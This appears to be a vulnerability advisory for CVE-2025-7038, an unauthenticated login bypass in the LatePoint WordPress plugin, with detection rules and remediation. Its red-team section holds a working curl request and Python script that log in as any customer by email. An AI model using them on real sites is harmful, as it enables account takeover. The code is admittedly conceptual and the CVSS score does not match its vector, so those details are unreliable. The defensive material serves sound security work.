CVE-2025-7038

Executive Summary

CVE-2025-7038 is a critical Authentication Bypass vulnerability in the LatePoint plugin for WordPress, affecting all versions up to and including 5.1.94. The flaw resides in the steps__load_step route of the latepoint_route_call AJAX endpoint. The endpoint accepts client-supplied customer email and related fields, then invokes the internal login handler without verifying the user's authentication status, performing capability checks, or validating a proper AJAX nonce. This allows any unauthenticated attacker to log into any customer's account by simply supplying a valid customer email address.

As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem. The plugin is widely used for appointment booking and customer management, making this a high-value target for credential theft, account takeover, and lateral movement within the WordPress site.

Supply Chain & Package Security

This vulnerability affects the LatePoint plugin distributed via the WordPress plugin repository and commercial channels. Since the patch status is UNKNOWN, users must consider this an active supply chain risk. The plugin's AJAX handler lacks fundamental security controls, indicating a systemic failure in the plugin's authentication architecture. Organizations using LatePoint should immediately audit their deployment and consider disabling the plugin until a patch is released.

CVSS Breakdown & Threat Level

CVSS Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): None – No authentication needed to trigger the flaw.
• User Interaction (UI): None – No victim action required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full access to customer accounts and associated data.
• Integrity (I): High – Attacker can modify customer data, bookings, and settings.
• Availability (A): None – No direct denial-of-service impact.

Threat Level: Critical for WordPress sites using LatePoint. The ease of exploitation (no authentication, no nonce) combined with the ability to take over any customer account makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is rooted in the latepoint_route_call AJAX endpoint, specifically the steps__load_step route. The endpoint processes a step in the booking wizard and expects customer data, including an email address. The flawed logic does the following:

1. Accepts Client-Supplied Data: The endpoint reads $_POST['customer']['email'] (or similar) directly from the request without sanitization or validation.
2. Invokes Internal Login Handler: It then calls an internal function (likely wp_signon or a custom authentication handler) using the supplied email.
3. No Authentication Check: The code does not verify if the current user is already logged in, nor does it check capabilities or a valid AJAX nonce.
4. No Identity Verification: The login handler is invoked without verifying that the requester has any right to access that customer account.

The attack flow:

• Attacker sends a POST request to /wp-admin/admin-ajax.php?action=latepoint_route_call with parameters route_name=steps__load_step and customer[email]=victim@example.com.
• The plugin processes the step and, due to the missing checks, logs the attacker into the victim's customer account.
• The attacker gains full access to the victim's bookings, personal data, and any associated functionality.

The root cause is a missing authentication and authorization check before invoking the login handler. This is a classic CWE-306 (Missing Authentication for Critical Function) vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (conceptual)
add_action('wp_ajax_nopriv_latepoint_route_call', 'latepoint_route_call_handler');
add_action('wp_ajax_latepoint_route_call', 'latepoint_route_call_handler');

function latepoint_route_call_handler() {
    $route = $_POST['route_name'];
    if ($route == 'steps__load_step') {
        $customer_email = $_POST['customer']['email'];
        // Missing: check if user is logged in, check nonce, check capabilities
        $user = get_user_by('email', $customer_email);
        if ($user) {
            wp_set_current_user($user->ID);
            wp_set_auth_cookie($user->ID);
            // Now the attacker is logged in as the customer
        }
    }
}

A patched version would include:

// Patched code (conceptual)
add_action('wp_ajax_nopriv_latepoint_route_call', 'latepoint_route_call_handler');
add_action('wp_ajax_latepoint_route_call', 'latepoint_route_call_handler');

function latepoint_route_call_handler() {
    // Verify AJAX nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'latepoint_route_nonce')) {
        wp_die('Security check failed.');
    }
    
    // Check if user is already logged in and has appropriate capabilities
    if (!is_user_logged_in() || !current_user_can('read')) {
        wp_die('Unauthorized.');
    }
    
    $route = sanitize_text_field($_POST['route_name']);
    if ($route == 'steps__load_step') {
        // Do not automatically log in; only process step data
        // ...
    }
}

The key differences are:

• Addition of nonce verification.
• Authentication and capability checks before processing.
• Removal of automatic login functionality from the AJAX handler.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with LatePoint plugin version <= 5.1.94.
• A valid customer email address (can be enumerated via booking pages or other means).

Exploitation Steps:

1. Identify Target: Find a WordPress site using LatePoint. Look for booking pages or AJAX endpoints.
2. Enumerate Customer Emails: Use the plugin's booking functionality to extract customer emails (e.g., via booking confirmation pages or error messages).
3. Craft Exploit Request: Send a POST request to the AJAX endpoint.

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=latepoint_route_call&route_name=steps__load_step&customer[email]=victim@example.com"

4. Verify Access: After the request, the attacker's session will be authenticated as the victim. Access the WordPress admin or customer dashboard to confirm.

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
email = "victim@example.com"

data = {
    "action": "latepoint_route_call",
    "route_name": "steps__load_step",
    "customer[email]": email
}

session = requests.Session()
response = session.post(target, data=data)

if response.status_code == 200 and "logged_in" in response.text:
    print(f"[+] Successfully logged in as {email}")
    # Now use the session to access protected pages
    dashboard = session.get("https://target.com/wp-admin/")
    print(dashboard.text)
else:
    print("[-] Exploitation failed")

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=latepoint_route_call and route_name=steps__load_step.
• Alert on requests where the customer[email] parameter does not match the currently logged-in user's email.
• Look for rapid succession of such requests from a single IP (brute-force enumeration).

Hardening:

• Disable the LatePoint plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to latepoint_route_call without a valid nonce.
• Add server-side validation to ensure the AJAX endpoint only processes requests from authenticated users with proper capabilities.

WAF Rule (ModSecurity):

SecRule REQUEST_FILENAME "/wp-admin/admin-ajax\.php" \
  "chain,id:1001,deny,msg:'LatePoint Auth Bypass Attempt'"
SecRule ARGS:action "latepoint_route_call" \
  "chain"
SecRule ARGS:route_name "steps__load_step" \
  "t:none"

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with parameters action=latepoint_route_call and route_name=steps__load_step.
• Requests containing customer[email] parameter with arbitrary email addresses.
• Unusual session creation patterns (multiple sessions from the same IP for different customer accounts).

Host IOCs:

• WordPress user meta changes indicating unexpected login timestamps.
• New customer bookings or modifications made from unrecognized IPs.
• Log entries in wp-content/debug.log showing authentication bypass attempts.

File IOCs:

• Modified plugin files (though unlikely if no patch is applied).
• Suspicious PHP files uploaded via compromised customer accounts.

Detection Engineering

YARA Rule

rule LatePoint_Auth_Bypass_CVE_2025_7038 {
    meta:
        description = "Detects exploitation attempts of CVE-2025-7038 in LatePoint plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7038"
        severity = "critical"
    strings:
        $ajax_action = "latepoint_route_call"
        $route_name = "steps__load_step"
        $customer_email = /customer\[email\]=[^\s&]+/
    condition:
        all of them
}

Sigma Rule

title: LatePoint Authentication Bypass via AJAX Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2025-7038 where unauthenticated attackers can bypass authentication via the latepoint_route_call AJAX endpoint.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7038
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=latepoint_route_call'
            - 'route_name=steps__load_step'
    condition: selection
falsepositives:
    - Legitimate plugin functionality if nonce is properly validated (but this is the vulnerability)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-7038 LatePoint Authentication Bypass Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=latepoint_route_call";
    http_client_body;
    content:"route_name=steps__load_step";
    http_client_body;
    content:"customer[email]=";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-7038;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the LatePoint plugin until a patched version is released. This is the only guaranteed mitigation.
2. Audit all customer accounts for unauthorized access. Check login timestamps and recent activity.
3. Reset passwords for all customer accounts as a precaution.

Long-Term Fixes:

• The vendor must release a patch that adds proper nonce verification, authentication checks, and capability validation to the latepoint_route_call endpoint.
• Implement a security review process for all AJAX endpoints in the plugin.

Compensating Controls:

• Deploy a WAF with rules to block the specific exploit pattern.
• Use a WordPress security plugin (e.g., Wordfence) to add an additional layer of authentication checks.
• Restrict access to admin-ajax.php via .htaccess or server configuration for unauthenticated users.

Monitoring:

• Enable detailed logging for all AJAX requests.
• Set up alerts for the Sigma and Suricata rules provided above.
• Regularly review WordPress user sessions for anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert